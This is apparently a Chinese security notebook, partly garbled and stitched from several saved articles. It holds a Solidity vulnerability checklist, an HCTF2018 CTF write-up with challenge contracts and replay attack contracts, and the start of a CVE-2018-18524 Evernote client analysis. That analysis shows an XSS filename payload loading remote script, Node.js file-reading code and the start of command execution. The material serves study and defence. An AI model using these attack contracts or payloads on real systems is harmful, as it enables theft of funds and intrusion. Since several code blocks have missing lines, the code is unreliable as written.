<span class="nx">emit</span> <span class="nx">Transfer</span><span class="p">(</span><span class="nx">_from</span><span class="p">,</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">_value</span><span class="p">);</span>

<span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">+=</span> <span class="nx">_fee</span><span class="p">;</span>
<span class="nx">emit</span> <span class="nx">Transfer</span><span class="p">(</span><span class="nx">_from</span><span class="p">,</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_fee</span><span class="p">);</span>

<span class="nx">balances</span><span class="p">[</span><span class="nx">_from</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_value</span> <span class="o">+</span> <span class="nx">_fee</span><span class="p">;</span>
<span class="nx">nonces</span><span class="p">[</span><span class="nx">_from</span><span class="p">]</span> <span class="o">=</span> <span class="nx">nonce</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
<span class="p">}</span>```

# 4、编码设计问题

## (4) 转账函数问题

transfer会抛出错误并自动回滚，而send会返回false，所以在使用send时需要判断返回类型，否则可能会导致转账失败但余额减少的情况。

```<span class="kd">function</span> <span class="nx">withdraw</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">_amount</span><span class="p">)</span> <span class="kr">public</span> <span class="p">{</span>
<span class="nx">require</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="nx">_amount</span><span class="p">);</span>
<span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span>
<span class="nx">etherLeft</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span>
<span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span>
<span class="p">}</span>```

## (5) 代码外部调用设计问题

```contract auction {
uint highestBid;

function bid() payable {
if (msg.value &lt; highestBid) throw;

if (highestBidder != 0) {
if (!highestBidder.send(highestBid)) { // 可能会发生错误
throw;
}
}

highestBidder = msg.sender;
highestBid = msg.value;
}
}```

```contract auction {
uint highestBid;

function bid() payable external {
if (msg.value &lt; highestBid) throw;

if (highestBidder != 0) {
refunds[highestBidder] += highestBid; // 记录在refunds中
}

highestBidder = msg.sender;
highestBid = msg.value;
}

function withdrawRefund() external {
uint refund = refunds[msg.sender];
refunds[msg.sender] = 0;
if (!msg.sender.send(refund)) {
refunds[msg.sender] = refund; // 如果转账错误还可以挽回
}
}
}```

## (6) 错误处理

```address.call()

```<span class="kd">function</span> <span class="nx">withdraw</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">_amount</span><span class="p">)</span> <span class="kr">public</span> <span class="p">{</span>
<span class="nx">require</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="nx">_amount</span><span class="p">);</span>
<span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span>
<span class="nx">etherLeft</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span>
<span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span>
<span class="p">}</span>```

```if(!someAddress.send(55)) {
// Some failure code
}```

https://paper.seebug.org/607/#4-unchecked-return-values-for-low-level-calls

`call、delegatecall、callcode、staticcall`

## (7) 弱随机数问题

Fomo3D合约在空投奖励的随机数生成中就引入了block信息作为随机数种子生成的参数，导致随机数种子只受到合约地址影响，无法做到完全随机。

```<span class="kd">function</span> <span class="nx">airdrop</span><span class="p">()</span>
<span class="kr">private</span>
<span class="nx">view</span>
<span class="nx">returns</span><span class="p">(</span><span class="kt">bool</span><span class="p">)</span>
<span class="p">{</span>
<span class="nx">uint256</span> <span class="nx">seed</span> <span class="o">=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">abi</span><span class="p">.</span><span class="nx">encodePacked</span><span class="p">(</span>

<span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">timestamp</span><span class="p">).</span><span class="nx">add</span>
<span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">difficulty</span><span class="p">).</span><span class="nx">add</span>
<span class="p">((</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">abi</span><span class="p">.</span><span class="nx">encodePacked</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">coinbase</span><span class="p">))))</span> <span class="o">/</span> <span class="p">(</span><span class="nx">now</span><span class="p">)).</span><span class="nx">add</span>
<span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">gaslimit</span><span class="p">).</span><span class="nx">add</span>
<span class="p">((</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">abi</span><span class="p">.</span><span class="nx">encodePacked</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">))))</span> <span class="o">/</span> <span class="p">(</span><span class="nx">now</span><span class="p">)).</span><span class="nx">add</span>
<span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="kt">number</span><span class="p">)</span>

<span class="p">)));</span>
<span class="k">if</span><span class="p">((</span><span class="nx">seed</span> <span class="o">-</span> <span class="p">((</span><span class="nx">seed</span> <span class="o">/</span> <span class="mi">1000</span><span class="p">)</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">))</span> <span class="o">&lt;</span> <span class="nx">airDropTracker_</span><span class="p">)</span>
<span class="k">return</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span>
<span class="k">else</span>
<span class="k">return</span><span class="p">(</span><span class="kc">false</span><span class="p">);</span>
<span class="p">}</span>```

hash-commit-reveal最大的问题在于服务端会在用户提交之后短暂的获得整个过程中的所有数据，如果恶意进行选择中止攻击，也在一定程度上破坏了公平性。详细分析见智能合约游戏之殇——Dice2win安全分析

Fomo3d薅羊毛

Last Winner

# 5、编码问题隐患

## (1) 语法特性问题

`uint x = 5 / 2; // 2`

```uint multiplier = 10;
uint x = (5 * multiplier) / 2;```

## (3) 数据可靠性

uint someVariable = now + 1;

if (now % 2 == 0) { // now可能被矿工控制

}

## (4) gas消耗优化

```contract EUXLinkToken is ERC20 {
using SafeMath for uint256;

mapping (address =&gt; bool) public blacklist;

string public constant name = "xx";
string public constant symbol = "xxx";
uint public constant decimals = 8;
uint256 public totalSupply = 1000000000e8;
uint256 public totalDistributed = 200000000e8;
uint256 public totalPurchase = 200000000e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed).sub(totalPurchase);

uint256 public value = 5000e8;
uint256 public purchaseCardinal = 5000000e8;

uint256 public minPurchase = 0.001e18;
uint256 public maxPurchase = 10e18;```

## (5) 合约用户

```contract Auction{
uint256 public hidghestBid;

function bid() public payable {
require(msg.value &gt; highestBid);
}
}```

```contract Attack {
function () { revert(); }

_target.call.value(msg.value)(bytes4(keccak256("bid()")));
}
}```

## (6) 日志记录

```fonction transferOwnership(address newOwner) onlyOwner public {
ownner = newOwner;
emit OwnershipTransferred(owner, newowner);
}```

## (7) 回调函数

Fallback会在合约执行发生问题时调用（如没有匹配的函数时），而且当调用`send`或者`transfer`函数时，只有2300gas 用于失败后fallback函数执行,2300 gas只允许执行一组字节码指令，需要谨慎编写，以免gas不够用。

```function() payable { LogDepositReceived(msg.sender); }

function() public payable{ revert();};```

## (9) 用户鉴权问题

tx.origin代表最初始的地址，如果用户a通过合约b调用了合约c，对于合约c来说，tx.origin就是用户a，而msg.sender才是合约b，对于鉴权来说，这是十分危险的，这代表着可能导致的钓鱼攻击。

```pragma solidity &gt;0.4.24;

// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {

constructor() public {
owner = msg.sender;
}

function transferTo(address dest, uint amount) public {
require(tx.origin == owner);
dest.transfer(amount);
}
}```

```<span class="nx">pragma</span> <span class="nx">solidity</span> <span class="o">&gt;</span><span class="mf">0.4</span><span class="p">.</span><span class="mi">24</span><span class="p">;</span>

<span class="kr">interface</span> <span class="nx">TxUserWallet</span> <span class="p">{</span>
<span class="kd">function</span> <span class="nx">transferTo</span><span class="p">(</span><span class="nx">address</span> <span class="nx">dest</span><span class="p">,</span> <span class="nx">uint</span> <span class="nx">amount</span><span class="p">)</span> <span class="nx">external</span><span class="p">;</span>
<span class="p">}</span>

<span class="nx">contract</span> <span class="nx">TxAttackWallet</span> <span class="p">{</span>

<span class="kr">constructor</span><span class="p">()</span> <span class="kr">public</span> <span class="p">{</span>
<span class="nx">owner</span> <span class="o">=</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">function</span><span class="p">()</span> <span class="nx">external</span> <span class="p">{</span>
<span class="nx">TxUserWallet</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">).</span><span class="nx">transferTo</span><span class="p">(</span><span class="nx">owner</span><span class="p">,</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">balance</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>```

Fomo3d事件

## (11) 未初始化的储存指针

```pragma solidity ^0.4.0;

contract Test {

struct Seed {
uint256 y;
}

function Test() {
owner = msg.sender;
a = 0x1111111111111111111111111111111111111111;
}

function fake_foo(uint256 n) public {
Seed s;
s.x = msg.sender;
s.y = n;
}
}```

# REF

##### HCTF2018 智能合约两则 Writeup
Elfinx 2018-11-13 6:24 转存

ez2win是一份标准的合约代币，在一次审计的过程中我发现，如果某些私有函数没有加上private，可以导致任意转账，是个蛮有意思的问题，但也由于太简单，所以想给大家opcode，大家自己去逆，由于源码及其简单，逆向难度不会太大，但可惜没有一个人做出来，被迫放源码，再加上这题本来就简单，重放流量可以抄作业，有点儿可惜。

bet2loss是我在审计dice2win类源码的时候发现的问题，但出题的时候犯傻了，在出题的时候想到如果有人想用薅羊毛的方式去拿flag也挺有意思的，所以故意留了transfer接口给大家，为了能让这个地方合理，我就把发奖也改用了transfer，结果把我预期的重放漏洞给修了...

### ez2win

```0x71feca5f0ff0123a60ef2871ba6a6e5d289942ef for ropsten
D2GBToken is onsale. we will airdrop each person 10 D2GBTOKEN. You can transcat with others as you like.
only winner can get more than 10000000, but no one can do it.

function PayForFlag(string b64email) public payable returns (bool success){
require (_balances[msg.sender] &gt; 10000000);
emit GetFlag(b64email, "Get flag!");
}

hint1:you should recover eht source code first. and break all eht concepts you've already hold
hint2: now open source for you, and its really ez```

```sloved：15
score：527.78```

ez2win，除了漏洞点以外是一份超级标准的代币合约，加上一个单词，你也可以用这份合约去发行一份属于自己的合约代币。

```pragma solidity ^0.4.24;

/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);

function balanceOf(address who) external view returns (uint256);

external view returns (uint256);

function transfer(address to, uint256 value) external returns (bool);

external returns (bool);

external returns (bool);

event Transfer(
uint256 value
);

event Approval(
uint256 value
);

event GetFlag(
string b64email,
string back
);
}

/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {

/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b);

return c;
}

/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b &gt; 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold

return c;
}

/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b &lt;= a);
uint256 c = a - b;

return c;
}

/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c &gt;= a);

return c;
}
}

/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;

mapping (address =&gt; uint256) public _balances;

uint256 public _totalSupply;

uint256 public constant _airdropAmount = 10;

/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}

/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}

// airdrop
function AirdropCheck() internal returns (bool success){
if (!initialized[msg.sender]) {
initialized[msg.sender] = true;
_balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}

/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}

/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
AirdropCheck();
_transfer(msg.sender, to, value);
return true;
}

/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {

AirdropCheck();
_allowed[msg.sender][spender] = value;
return true;
}

/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
uint256 value
)
public
returns (bool)
{
require(value &lt;= _allowed[from][msg.sender]);
AirdropCheck();

_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}

/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
require(value &lt;= _balances[from]);

_balances[from] = _balances[from].sub(value);
}
}

contract D2GBToken is ERC20 {

string public constant name = "D2GBToken";
string public constant symbol = "D2GBToken";
uint8 public constant decimals = 18;

uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));

/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
_totalSupply = INITIAL_SUPPLY;
_balances[msg.sender] = INITIAL_SUPPLY;
}

//flag
function PayForFlag(string b64email) public payable returns (bool success){

require (_balances[msg.sender] &gt; 10000000);
emit GetFlag(b64email, "Get flag!");
}
}```

```function transfer(address to, uint256 value) public returns (bool) {
AirdropCheck();
_transfer(msg.sender, to, value);
return true;
}

require(value &lt;= _allowed[from][msg.sender]);
AirdropCheck();

_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}```

transferFrom触发转账首先需要用approvel授权，这是一个授权函数，只能转账授权额度，也不存在问题。

```function _transfer(address from, address to, uint256 value) {
require(value &lt;= _balances[from]);

_balances[from] = _balances[from].sub(value);
}```

### bet2loss

bet2loss是我在审计dice2win类源码的时候发现的问题，可惜出题失误了，这里主要讨论非预期解吧。

```Description
0x006b9bc418e43e92cf8d380c56b8d4be41fda319 for ropsten and open source

D2GBToken is onsale. Now New game is coming.
We’ll give everyone 1000 D2GBTOKEN for playing. only God of Gamblers can get flag.```

```solved: 5
score: 735.09```

```pragma solidity ^0.4.24;

/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {

/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b);

return c;
}

/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b &gt; 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold

return c;
}

/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b &lt;= a);
uint256 c = a - b;

return c;
}

/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c &gt;= a);

return c;
}
}

/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20{
using SafeMath for uint256;

mapping (address =&gt; uint256) public balances;

uint256 public _totalSupply;

/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}

/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return balances[owner];
}

function transfer(address _to, uint _value) public returns (bool success){
balances[msg.sender] = balances[msg.sender].sub(_value);

return true;
}
}

contract B2GBToken is ERC20 {

string public constant name = "test";
string public constant symbol = "test";
uint8 public constant decimals = 18;
uint256 public constant _airdropAmount = 1000;

uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));

/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
initialized[msg.sender] = true;
_totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}

// airdrop
function AirdropCheck() internal returns (bool success){
if (!initialized[msg.sender]) {
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
}

// 主要代码
contract Bet2Loss is B2GBToken{
/// *** Constants section

// Bets lower than this amount do not participate in jackpot rolls (and are
// not deducted JACKPOT_FEE).
uint constant MIN_JACKPOT_BET = 0.1 ether;

// There is minimum and maximum bets.
uint constant MIN_BET = 1;
uint constant MAX_BET = 100000;

// Modulo is a number of equiprobable outcomes in a game:
//  - 2 for coin flip
//  - 6 for dice
//  - 6*6 = 36 for double dice
//  - 100 for etheroll
//  - 37 for roulette
//  etc.
// It's called so because 256-bit entropy is treated like a huge integer and
// the remainder of its division by modulo is considered bet outcome.
uint constant MAX_MODULO = 100;

// EVM BLOCKHASH opcode can query no further than 256 blocks into the
// past. Given that settleBet uses block hash of placeBet as one of
// complementary entropy sources, we cannot process bets older than this
// threshold. On rare occasions dice2.win croupier may fail to invoke
// settleBet in this timespan due to technical issues or extreme Ethereum
// congestion; such bets can be refunded via invoking refundBet.
uint constant BET_EXPIRATION_BLOCKS = 250;

// Some deliberately invalid address to initialize the secret signer with.
// Forces maintainers to invoke setSecretSigner before processing any bets.

// Standard contract ownership transfer.

// Adjustable max bet profit. Used to cap bets against dynamic odds.
uint public maxProfit;

// The address corresponding to a private key used to sign placeBet commits.

// Accumulated jackpot fund.
uint128 public jackpotSize;

// Funds that are locked in potentially winning bets. Prevents contract from
// committing to bets it cannot pay out.
uint128 public lockedInBets;

// A structure representing a single bet.
struct Bet {
// Wager amount in wei.
uint betnumber;
// Modulo of a game.
uint8 modulo;
// Block number of placeBet tx.
uint40 placeBlockNumber;
// Address of a gambler, used to pay out winning bets.
}

// Mapping from commits to all currently active &amp; processed bets.
mapping (uint =&gt; Bet) bets;

// Events that are issued to make statistic recovery easier.
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);

// This event is emitted in placeBet to record commit in the logs.
event Commit(uint commit);

event GetFlag(
string b64email,
string back
);

// Constructor. Deliberately does not take any parameters.
constructor () public {
owner = msg.sender;
}

// Standard modifier on methods invokable only by contract owner.
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}

// See comment for "secretSigner" variable.
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}

/// *** Betting logic

// Bet states:
//  amount == 0 &amp;&amp; gambler == 0 - 'clean' (can place a bet)
//  amount != 0 &amp;&amp; gambler != 0 - 'active' (can be settled or refunded)
//  amount == 0 &amp;&amp; gambler != 0 - 'processed' (can clean storage)
//
//  NOTE: Storage cleaning is not implemented in this contract version; it will be added
//              with the next upgrade to prevent polluting Ethereum state with expired bets.

// Bet placing transaction - issued by the player.
//                                      [0, betMask) for larger modulos.
//  modulo                  - game modulo.
//  commitLastBlock - number of the maximum block where "commit" is still considered valid.
//  commit                  - Keccak256 hash of some secret "reveal" random number, to be supplied
//                                      by the dice2.win croupier bot in the settleBet transaction. Supplying
//                                      "commit" ensures that "reveal" cannot be changed behind the scenes
//                                      after placeBet have been mined.
//  r, s                        - components of ECDSA signature of (commitLastBlock, commit). v is
//                                      guaranteed to always equal 27.
//
// Commit, being essentially random 256-bit number, is used as a unique bet identifier in
// the 'bets' mapping.
//
// Commits are signed with a block limit to ensure that they are used at most once - otherwise
// it would be possible for a miner to place a bet with a known commit/reveal pair and tamper
// with the blockhash. Croupier guarantees that commitLastBlock will always be not greater than
// placeBet block number plus BET_EXPIRATION_BLOCKS. See whitepaper for details.
function placeBet(uint betMask, uint modulo, uint betnumber, uint commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v) external payable {
// modulo是总数/倍数
// commitlastblock 最后一个能生效的blocknumber
// 随机数签名hash， r, s

// airdrop
AirdropCheck();

// Check that the bet is in 'clean' state.
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");

require (balances[msg.sender] &gt;= betnumber, "no more balances");

// Validate input data ranges.
require (modulo &gt; 1 &amp;&amp; modulo &lt;= MAX_MODULO, "Modulo should be within range.");
require (betnumber &gt; 0 &amp;&amp; betnumber &lt; 1000, "BetNumber should be within range.");

// Check that commit is valid - it has not expired and its signature is valid.
require (block.number &lt;= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));
require (secretSigner == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid.");

// Winning amount and jackpot increase.
uint possibleWinAmount;

possibleWinAmount = getDiceWinAmount(betnumber, modulo);

// Lock funds.
lockedInBets += uint128(possibleWinAmount);

// Check whether contract has enough funds to process this bet.
require (lockedInBets &lt;= balances[owner], "Cannot afford to lose this bet.");

balances[msg.sender] = balances[msg.sender].sub(betnumber);
// Record commit in logs.
emit Commit(commit);

// Store bet parameters on blockchain.
bet.betnumber = betnumber;
bet.modulo = uint8(modulo);
bet.placeBlockNumber = uint40(block.number);
bet.gambler = msg.sender;
}

// This is the method used to settle 99% of bets. To process a bet with a specific
// "commit", settleBet should supply a "reveal" number that would Keccak256-hash to
// "commit". it
// is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs.
function settleBet(uint reveal) external {
AirdropCheck();

uint commit = uint(keccak256(abi.encodePacked(reveal)));

Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;

// Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).
require (block.number &gt; placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number &lt;= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");

// Settle bet using reveal as entropy sources.
settleBetCommon(bet, reveal);
}

// Common settlement code for settleBet &amp; settleBetUncleMerkleProof.
function settleBetCommon(Bet storage bet, uint reveal) private {
// Fetch bet parameters into local variables (to save gas).
uint betnumber = bet.betnumber;
uint modulo = bet.modulo;
uint placeBlockNumber = bet.placeBlockNumber;

// Check that bet is in 'active' state.
require (betnumber != 0, "Bet should be in an 'active' state");

// The RNG - combine "reveal" and blockhash of placeBet using Keccak256. Miners
// are not aware of "reveal" and cannot deduce it from "commit" (as Keccak256
// preimage is intractable), and house is unable to alter the "reveal" after
// placeBet have been mined (as Keccak256 collision finding is also intractable).
bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber));

// Do a roll by taking a modulo of entropy. Compute winning amount.
uint dice = uint(entropy) % modulo;

uint diceWinAmount;
diceWinAmount = getDiceWinAmount(betnumber, modulo);

uint diceWin = 0;

diceWin = diceWinAmount;
}

// Unlock the bet amount, regardless of the outcome.
lockedInBets -= uint128(diceWinAmount);

// Send the funds to gambler.
sendFunds(gambler, diceWin == 0 ? 1 wei : diceWin , diceWin);
}

// Get the expected win amount after house edge is subtracted.
function getDiceWinAmount(uint amount, uint modulo) private pure returns (uint winAmount) {
winAmount = amount * modulo;
}

// 付奖金
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
transfer(beneficiary, amount);
emit Payment(beneficiary, successLogAmount);
}
//flag
function PayForFlag(string b64email) public payable returns (bool success){

require (balances[msg.sender] &gt; 10000000);
emit GetFlag(b64email, "Get flag!");
}
}```

https://lorexxar.cn/2018/10/18/dice2win-safe/

1、在页面中点击下注

2、后端生成随机数，然后签名，饭后commit, r, s, v

```# 随机数
reveal = random_num()
result['commit'] = "0x"+sha3.keccak_256(bytes.fromhex(binascii.hexlify(reveal.to_bytes(32, 'big')).decode('utf-8'))).hexdigest()

# web3获取当前blocknumber
result['commitLastBlock'] = w3.eth.blockNumber + 250

message = binascii.hexlify(result['commitLastBlock'].to_bytes(32,'big')).decode('utf-8')+result['commit'][2:]
message_hash = '0x'+sha3.keccak_256(bytes.fromhex(message)).hexdigest()

signhash = w3.eth.account.signHash(message_hash, private_key=private_key)

result['signature'] = {}
result['signature']['r'] = '0x' + binascii.hexlify((signhash['r']).to_bytes(32,'big')).decode('utf-8')
result['signature']['s'] = '0x' + binascii.hexlify((signhash['s']).to_bytes(32,'big')).decode('utf-8')

result['signature']['v'] = signhash['v']```

3、回到前端，web3.js配合返回的数据，想meta发起交易，交易成功被打包之后向后台发送请求settlebet。

4、后端收到请求之后对该commit做开奖

```transaction = bet2loss.functions.settleBet(int(reveal)).buildTransaction(
{'chainId': 3, 'gas': 70000, 'nonce': nonce, 'gasPrice': w3.toWei('1', 'gwei')})

signed = w3.eth.account.signTransaction(transaction, private_key)

result = w3.eth.sendRawTransaction(signed.rawTransaction)```

5、开奖成功

https://paper.seebug.org/646/

```pragma solidity ^0.4.20;
contract Attack_7878678 {

function Attack_7878678() payable {}

function attack_starta(uint256 reveal_num) public {
for(int i=0;i&lt;=50;i++){
son = new Son(reveal_num);
}
}

function () payable {
}
}

contract Son_7878678 {

function Son_7878678(uint256 reveal_num) payable {
game.call(bytes4(keccak256("settleBet(uint256)")),reveal_num);
}
function () payable{
}
}```

##### 印象笔记 Windows 客户端 6.15 本地文件读取和远程命令执行漏洞(CVE-2018-18524)
Elfinx 2018-11-6 2:53 转存

English Version

## 0x00 漏洞简介

1. 印象笔记 Windows 客户端 6.14 版本修复了一个储存型 XSS。
2. 由于只修复了 XSS 的入口点而没有在出口处添加过滤，导致攻击者可以在 6.14 版本的客户端中生成储存型 XSS并在 6.15 版本中触发。
3. 印象笔记的展示模式是使用 NodeWebKit 实现的，通过储存型 XSS 可以在展示模式下注入 Nodejs 代码。
4. 经过各种尝试，最终通过注入的 Nodejs 代码实现了本地文件读取和远程命令执行。

## 0x01 前言

2018/09/20，我当时的同事@sebao告诉我印象笔记修复了他的 `XSS` 漏洞并登上了名人堂，碰巧国庆的时候考古过几个客户端 XSS 导致命令执行的案例，就想在印象笔记客户端也寻找一下类似的问题。在之后的测试过程中，我不仅发现原本的 `XSS` 修复方案存在漏洞、利用这个 `XSS` 漏洞实现了本地文件读取和远程命令执行，还通过分享笔记的功能实现了远程攻击。

## 0x02 印象笔记 Windows 客户端 6.14 储存型 XSS 漏洞

`@sebao` 发现的储存型 XSS 漏洞的触发方式如下： 1. 在笔记中添加一张图片 2. 右键并将该图片更名为 `" onclick="alert(1)">.jpg"` 3. 双击打开该笔记并点击图片，成功弹框。

## 0x03 演示模式下的 Nodejs 代码注入

XSS 修复方案存在漏洞并不能算是一个很严重的安全问题，所以我决定深入挖掘一下其他的漏洞，比如本地文件读取或者远程命令执行。为了方便测试，我在 6.14 版本的客户端中将一张图片更名为 `" onclick="alert(1)"><script src="http://172.16.4.1:8000/1.js">.jpg` 后，将客户端升级为最新版 6.15。

## 0x04 本地文件读取 和 远程命令执行的实现

```alert("Try to read C:\\\\Windows\\win.ini");
try{
var buffer = new Buffer(8192);
process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini', 0, 0600), buffer, 0, 4096);
}
catch(err){
}```

```// command executed
try{
spawn_sync = process.binding('spawn_sync');
envPairs = [];
